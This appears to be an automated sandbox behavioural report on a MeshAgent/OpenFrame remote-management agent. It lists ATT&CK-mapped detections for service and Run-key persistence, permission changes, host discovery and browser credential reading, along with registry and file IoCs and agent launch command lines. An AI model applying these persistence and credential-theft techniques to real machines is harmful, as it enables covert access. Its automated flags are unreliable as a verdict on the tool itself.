meshagent | 7a2ab7bf033fa6ddb25644b03723bf912cbd28fcee9fc1714875b7c44ea14d8d

Modify Registry

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\ProgramData\\OpenFrame\\meshcentral-agent\\agent.exe\" --openframe-mode --openframe-token-path \"C:\\\\ProgramData\\\\OpenFrame\\\\secured\\\\shared_token.enc\" --openframe-secret \"12345678901234567890123456789012\""	agent.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\ProgramData\\OpenFrame\\meshcentral-agent\\MeshAgent.exe\" "	agent.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 64 IoCs

pid	Process
5904	openframe-client.exe
5872	openframe-client.exe
3468	agent.exe
2880	agent.exe
1476	osqueryd.exe
1584	osqueryd.exe
5540	agent.exe
3752	osqueryd.exe
5720	agent.exe
4716	agent.exe
3212	osqueryd.exe
2396	agent.exe
1652	agent.exe
4644	agent.exe
6504	agent.exe
6896	MeshAgent.exe
5200	MeshAgent.exe
1560	MeshAgent.exe
4484	agent.exe
1464	MeshAgent.exe
4220	MeshAgent.exe
8452	MeshAgent.exe
8852	MeshAgent.exe
8912	MeshAgent.exe
8968	MeshAgent.exe
9140	MeshAgent.exe
10024	MeshAgent.exe
10412	MeshAgent.exe
10484	MeshAgent.exe
10568	MeshAgent.exe
10624	MeshAgent.exe
10488	MeshAgent.exe
11952	MeshAgent.exe
12040	MeshAgent.exe
12104	MeshAgent.exe
12164	MeshAgent.exe
12008	MeshAgent.exe
4520	MeshAgent.exe
13364	MeshAgent.exe
13452	MeshAgent.exe
13508	MeshAgent.exe
13616	MeshAgent.exe
14828	MeshAgent.exe
15020	MeshAgent.exe
15168	MeshAgent.exe
15308	MeshAgent.exe
14836	MeshAgent.exe
15176	MeshAgent.exe
15280	MeshAgent.exe
10392	MeshAgent.exe
13564	MeshAgent.exe
15192	MeshAgent.exe
15280	MeshAgent.exe
14888	MeshAgent.exe
9132	MeshAgent.exe
7112	MeshAgent.exe
7120	MeshAgent.exe
2596	MeshAgent.exe
10748	MeshAgent.exe
5824	MeshAgent.exe
6624	MeshAgent.exe
15204	MeshAgent.exe
15284	MeshAgent.exe
1352	MeshAgent.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4200	takeown.exe
5452	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\openframe-chat = "\"C:\\ProgramData\\OpenFrame\\openframe-chat\\agent.exe\" --serverUrl https://afultraquantum.openframe.ai --openframe-secret 12345678901234567890123456789012 --openframe-token-path C:\\ProgramData\\OpenFrame\\secured\\shared_token.enc --machineId f58a62db-1c3f-469d-9eb6-3cf2eba4be31 --background"	openframe-client.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	agent.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntasn1.pdb	agent.exe
File opened for modification	C:\Windows\System32\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\MeshService64.pdb	agent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\817C2D8FF8EA61952513AA084172F1FA4B257522	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ole32.pdb	MeshAgent.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4600	WScript.exe

Drops file in Program Files directory 42 IoCs

description	ioc	Process
File created	C:\Program Files\Orbit\osquery.db\LOCK	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\MANIFEST-000001	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\000004.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000008.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000022.dbtmp	osqueryd.exe
File opened for modification	C:\Program Files\Orbit\.osquery-identifier-3176777991	agent.exe
File created	C:\Program Files\Orbit\osquery.pid	osqueryd.exe
File opened for modification	C:\Program Files\Orbit\osquery_log\osqueryd.results.log	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\000005.log	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000010.dbtmp	osqueryd.exe
File opened for modification	C:\Program Files\Orbit\osquery.pid\	osqueryd.exe
File created	C:\Program Files\Orbit\.orbit-node-key-495814272	agent.exe
File created	C:\Program Files\Orbit\osquery.db\000000.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\.osquery-identifier-3176777991	agent.exe
File opened for modification	C:\Program Files\Orbit\identifier	agent.exe
File created	C:\Program Files\Orbit\osquery.db\000024.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\MANIFEST-000026	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\000027.log	osqueryd.exe
File created	C:\Program Files\Orbit\osquery_log\osqueryd.ERROR.20261016-141330.3212	osqueryd.exe
File opened for modification	C:\Program Files\.openframe_write_test	openframe-client.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000018.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\000025.sst	osqueryd.exe
File opened for modification	C:\Program Files\Orbit\osquery.db\000005.log	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000028.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\000030.sst	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000012.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000014.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000020.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\000026.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\MANIFEST-000004	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000016.dbtmp	osqueryd.exe
File opened for modification	C:\Program Files\Orbit\osquery.db\LOCK	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\MANIFEST-000024	osqueryd.exe
File created	C:\Program Files\Orbit\.orbit-node-key-3241568652	agent.exe
File created	C:\Program Files\Orbit\osquery.db\000001.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\osquery.db\OPTIONS-000006.dbtmp	osqueryd.exe
File created	C:\Program Files\Orbit\.orbit-node-key-3472208463	agent.exe
File created	C:\Program Files\Orbit\osquery_log\osqueryd.INFO.20261016-141310.3212	osqueryd.exe
File created	C:\Program Files\Orbit\.orbit-node-key-954175796	agent.exe
File created	C:\Program Files\OpenFrame\bin\openframe-client.exe	openframe-client.exe
File created	C:\Program Files\OpenFrame\bin\openframe-client.exe.lkg.tmp	openframe-client.exe
File created	C:\Program Files\Orbit\osquery_log\osqueryd.WARNING.20261016-141329.3212	osqueryd.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\etilqs_ZsNFgetSiaXWyLI	osqueryd.exe
File opened for modification	C:\Windows\symbols\DLL\bcrypt.pdb	agent.exe
File opened for modification	C:\Windows\dll\ntasn1.pdb	agent.exe
File opened for modification	C:\Windows\dll\Kernel.Appcore.pdb	agent.exe
File opened for modification	C:\Windows\imm32.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1161120872\Sigma\Analytics	msedgewebview2.exe
File opened for modification	C:\Windows\dll\user32.pdb	agent.exe
File opened for modification	C:\Windows\symbols\dll\kernelbase.pdb	agent.exe
File opened for modification	C:\Windows\symbols\dll\msvcp_win.pdb	agent.exe
File opened for modification	C:\Windows\advapi32.pdb	agent.exe
File opened for modification	C:\Windows\iphlpapi.pdb	agent.exe
File opened for modification	C:\Windows\symbols\dll\bcryptprimitives.pdb	agent.exe
File opened for modification	C:\Windows\dll\shcore.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-la.hyb	msedgewebview2.exe
File opened for modification	C:\Windows\combase.pdb	agent.exe
File opened for modification	C:\Windows\DLL\kernel32.pdb	agent.exe
File opened for modification	C:\Windows\DLL\bcrypt.pdb	agent.exe
File opened for modification	C:\Windows\symbols\dll\combase.pdb	agent.exe
File opened for modification	C:\Windows\DLL\imm32.pdb	agent.exe
File created	C:\Windows\etilqs_Cxv9fAMbGaepW43	osqueryd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-fr.hyb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-ga.hyb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-bn.hyb	msedgewebview2.exe
File opened for modification	C:\Windows\imm32.pdb	agent.exe
File opened for modification	C:\Windows\dll\bcryptprimitives.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-pa.hyb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_998435617\LICENSE	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1376028762\_metadata\verified_contents.json	msedgewebview2.exe
File created	C:\Windows\etilqs_FmudKJtbOGCeNEd	osqueryd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1161120872\Mu\Content	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-cy.hyb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1353479577\Part-DE	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1161120872\Mu\Fingerprinting	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1161120872\Sigma\Content	msedgewebview2.exe
File opened for modification	C:\Windows\symbols\dll\crypt32.pdb	agent.exe
File opened for modification	C:\Windows\dll\msvcp_win.pdb	agent.exe
File opened for modification	C:\Windows\dll\comctl32.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1585825953\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-mul-ethi.hyb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1161120872\Sigma\Advertising	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-cu.hyb	msedgewebview2.exe
File opened for modification	C:\Windows\dll\ntdll.pdb	agent.exe
File opened for modification	C:\Windows\DLL\dbgcore.pdb	agent.exe
File opened for modification	C:\Windows\DLL\bcrypt.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_998435617\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1161120872\Mu\Other	msedgewebview2.exe
File opened for modification	C:\Windows\crypt32.pdb	agent.exe
File opened for modification	C:\Windows\dll\crypt32.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-da.hyb	msedgewebview2.exe
File opened for modification	C:\Windows\symbols\dll\gdi32full.pdb	agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_sxrf3xlw.54d.ps1	powershell.exe
File opened for modification	C:\Windows\msvcrt.pdb	agent.exe
File opened for modification	C:\Windows\sechost.pdb	agent.exe
File opened for modification	C:\Windows\dll\ole32.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-nb.hyb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1353479577\Filtering Rules	msedgewebview2.exe
File opened for modification	C:\Windows\symbols\dll\user32.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_998435617\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_1011708329\female_names.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-es.hyb	msedgewebview2.exe
File opened for modification	C:\Windows\dll\dbghelp.pdb	agent.exe
File opened for modification	C:\Windows\symbols\dll\gdiplus.pdb	agent.exe
File opened for modification	C:\Windows\symbols\dll\crypt32.pdb	agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1880_845217398\hyph-de-1901.hyb	msedgewebview2.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3136	sc.exe
2044	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 64 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CPU Meta Data	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Preferred Record Version	osqueryd.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Patch Source	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Firmware Record Version	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Patch Configuration Used	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Environment	osqueryd.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Preferred Record Version	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Patch Configuration Used	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Environment	osqueryd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	osqueryd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Firmware Record Version	osqueryd.exe
